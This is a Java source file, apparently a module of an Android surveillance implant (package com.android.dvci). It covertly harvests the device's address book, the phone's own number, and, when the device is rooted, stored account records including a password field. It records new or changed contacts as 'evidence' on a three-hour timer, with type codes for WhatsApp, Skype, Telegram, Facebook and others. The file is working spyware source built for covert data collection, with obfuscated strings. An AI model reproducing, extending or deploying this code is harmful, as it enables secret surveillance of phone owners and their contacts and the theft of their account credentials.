package com.android.dvci.module;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;
import android.database.Cursor;
import com.android.dvci.Device;
import com.android.dvci.Sim;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.crypto.Digest;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.evidence.Markup;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerSim;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.task.Contact;
import com.android.dvci.module.task.PhoneInfo;
import com.android.dvci.module.task.PickContact;
import com.android.dvci.module.task.UserInfo;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.WChar;
import com.android.mm.M;
public class ModuleAddressBook extends BaseModule implements Observer<Sim> {
private static final String TAG = "AgentAddressbook"; //$NON-NLS-1$
public static final int SKYPE = 0x02;
public static final int FACEBOOK = 0x03;
public static final int GOOGLE = 0x05;
public static final int BBM = 0x06;
public static final int WHATSAPP = 0x07;
public static final int PHONE = 0x08;
public static final int VIBER = 0x0b;
public static final int WECHAT = 0x0c;
public static final int TELEGRAM = 0x0e;
public static final int LOCAL = 0x80000000;
private PickContact contact;
Markup markupContacts;
static HashMap<Long, Long> contacts; // (contact.id, contact.pack.crc)
String observe = M.e("com.android.contacts");
private String myPhone;
public ModuleAddressBook() {
}
@Override
public boolean parse(ConfModule conf) {
return true;
}
/**
* unserialize the contacts crc hashtable
*/
@Override
public void actualStart() {
// every three hours, check.
setPeriod(180 * 60 * 1000);
setDelay(200);
ListenerSim.self().attach(this);
markupContacts = new Markup(this);
// markupContacts.unserialize()
// the markup exists, try to read it
if (markupContacts.isMarkup()) {
try {
contacts = (HashMap<Long, Long>) markupContacts.readMarkupSerializable();
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (begin): cannot read markup");//$NON-NLS-1$
}
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart): no markup");
}
}
// if no markup available, create a new empty one
if (contacts == null) {
contacts = new HashMap<Long, Long>();
serializeContacts();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart), got serialized contacs from markup: " + contacts.size());
}
}
}
/**
* Every once and then read the contactInfo, and Check.every change. If
* //$NON-NLS-1$ something is new the contact is saved.
*/
@Override
public void actualGo() {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (go): Contacts");
}
if (Status.self().haveRoot()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (go): dumpAddressBookAccounts");
}
RecordVisitor addressVisitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
String jid = cursor.getString(0);
String name = cursor.getString(1);
String type = cursor.getString(2);
String password = cursor.getString(3);
int evId = ModulePassword.getServiceId(type);
if (evId != 0)
createEvidenceLocal(evId, name);
return 0;
}
};
ModulePassword.dumpAccounts(addressVisitor);
}
if (contacts()) {
serializeContacts();
}
} catch (Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (go) Error: " + ex);
}
}
}
@Override
public void actualStop() {
ListenerSim.self().detach(this);
}
/**
* serialize contacts in the markup
*/
public void serializeContacts() {
if (Cfg.DEBUG) {
Check.log(TAG + " (serializeContacts)");
}
if (Cfg.DEBUG) {
Check.ensures(contacts != null, "null contacts"); //$NON-NLS-1$
}
try {
final boolean ret = markupContacts.writeMarkupSerializable(contacts);
if (Cfg.DEBUG) {
Check.ensures(ret, "cannot serialize"); //$NON-NLS-1$
}
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (serializeContacts): " + e);//$NON-NLS-1$
}
}
}
private boolean contacts() {
contact = new PickContact();
final Date before = new Date();
final Hashtable<Long, Contact> contacts = contact.getContactInfo();
final Date after = new Date();
if (Cfg.DEBUG) {
Check.log(TAG + " (go): get contact time s " + (after.getTime() - before.getTime()) / 1000);//$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " (go): list size = " + contacts.size());//$NON-NLS-1$
}
final Iterator<Contact> iter = contacts.values().iterator();
boolean needToSerialize = false;
final EvidenceBuilder log = new EvidenceBuilder(EvidenceType.ADDRESSBOOK);
// for every Contact
while (iter.hasNext()) {
final Contact c = iter.next();
// calculate the crc of the contact
final byte[] packet = preparePacket(c);
needToSerialize = serializeIfNew(c.getId(), packet);
if (needToSerialize) {
log.write(packet);
}
}
log.close();
if (Cfg.DEBUG) {
Check.log(TAG + " (contacts), needto needToSerialize: " + needToSerialize);
}
return needToSerialize;
}
private static boolean serializeIfNew(long id, final byte[] packet) {
final Long crcOld = contacts.get(id);
final Long crcNew = Digest.CRC32(packet);
boolean needToSerialize = false;
// if does not match, save and serialize
if (!crcNew.equals(crcOld)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (go): new contact. " + id);//$NON-NLS-1$
}
contacts.put(id, crcNew);
needToSerialize = true;
// Thread.yield();
}
return needToSerialize;
}
/**
* Prepare the packet from the contact
*
* @param c
* @return
*/
private byte[] preparePacket(Contact c) {
final UserInfo user = c.getUserInfo();
// List<EmailInfo> email = c.getEmailInfo();
// List<PostalAddressInfo> paInfo = c.getPaInfo();
final List<PhoneInfo> phoneInfo = c.getPhoneInfo();
// List<ImInfo> imInfo = c.getImInfo();
// List<OrganizationInfo> orgInfo = c.getOrgInfo();
// List<WebsiteInfo> webInfo = c.getWebInfo();
final long uid = user.getUserId();
final String name = user.getCompleteName();
final String message = c.getInfo();
String number = "";
if (phoneInfo.size() > 0) {
number = phoneInfo.get(0).getPhoneNumber();
}
return preparePacket(PHONE, uid, number, name, message);
// final byte[] header = new byte[12];
}
private static byte[] preparePacket(int type, long uid, String number, String name, String message) {
final ByteArrayOutputStream outputStream = prepareHeader(uid, type, 0);
if (outputStream == null) {
return null;
}
addTypedString(outputStream, (byte) 0x01, name);
addTypedString(outputStream, (byte) 0x07, number);
addTypedString(outputStream, (byte) 0x37, message);
addTypedString(outputStream, (byte) 0x40, number);
final byte[] payload = outputStream.toByteArray();
final int size = payload.length;
// a questo punto il payload e' pronto
final DataBuffer db_header = new DataBuffer(payload, 0, 4);
db_header.writeInt(size);
return payload;
}
private static ByteArrayOutputStream prepareHeader(long uid, int program, int flags) {
final int version = 0x01000001;
final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
// Adding header
try {
outputStream.write(ByteArray.intToByteArray(0)); // size
outputStream.write(ByteArray.intToByteArray(version));
outputStream.write(ByteArray.intToByteArray((int) uid));
outputStream.write(ByteArray.intToByteArray(program));
outputStream.write(ByteArray.intToByteArray(flags));
} catch (IOException ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (preparePacket) Error: " + ex);
}
return null;
}
return outputStream;
}
private static void addTypedString(ByteArrayOutputStream outputStream, byte type, String name) {
if (name != null && name.length() > 0) {
final int header = (type << 24) | (name.length() * 2);
try {
outputStream.write(ByteArray.intToByteArray(header));
outputStream.write(WChar.getBytes(name));
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (addTypedString): " + e);//$NON-NLS-1$
}
}
}
}
@Override
public int notification(Sim b) {
Device device = Device.self();
myPhone = device.getPhoneNumber();
// final EvidenceReference log = new
// EvidenceReference(EvidenceType.ADDRESSBOOK);
if (Cfg.DEBUG) {
Check.log(TAG + " (notification) SIM: " + b.getImsi() + "Number: " + myPhone);//$NON-NLS-1$
}
if (Device.UNKNOWN_NUMBER.equals(myPhone)) {
return 0;
}
createEvidenceLocal(PHONE, myPhone);
return 0;
}
public static void createEvidenceLocal(int evId, String data) {
createEvidenceLocal(evId, data, null);
}
public static void createEvidenceLocal(int evId, String data, String name) {
if (Cfg.DEBUG) {
Check.log(TAG + " (createEvidenceLocal) id: " + evId + " data: " + data);//$NON-NLS-1$
}
long uid = -evId;
final ByteArrayOutputStream outputStream = prepareHeader(uid, evId, LOCAL);
if (outputStream == null) {
return;
}
addTypedString(outputStream, (byte) 0x40, data);
if (name != null) {
addTypedString(outputStream, (byte) 0x01, name);
}
byte[] payload = outputStream.toByteArray();
final int size = outputStream.size();
final DataBuffer db_header = new DataBuffer(payload, 0, 4);
db_header.writeInt(size);
EvidenceBuilder.atomic(EvidenceType.ADDRESSBOOK, null, payload);
}
public static boolean createEvidenceRemote(int type, com.android.dvci.module.chat.Contact c) {
long id = c.getId();
if (Cfg.DEBUG) {
Check.log(TAG + " (createEvidenceRemote) type: " + type + " id: " + id + " name: " + c.name);
}
byte[] packet = preparePacket(type, id, c.number, c.name, c.extra);
boolean needToSerialize = serializeIfNew(id, packet);
if (needToSerialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (createEvidenceRemote) new address");
}
EvidenceBuilder.atomic(EvidenceType.ADDRESSBOOK, null, packet);
}
return needToSerialize;
}
public static ModuleAddressBook getInstance() {
return (ModuleAddressBook) ManagerModule.self().getInstancedAgent(ModuleAddressBook.class);
}
}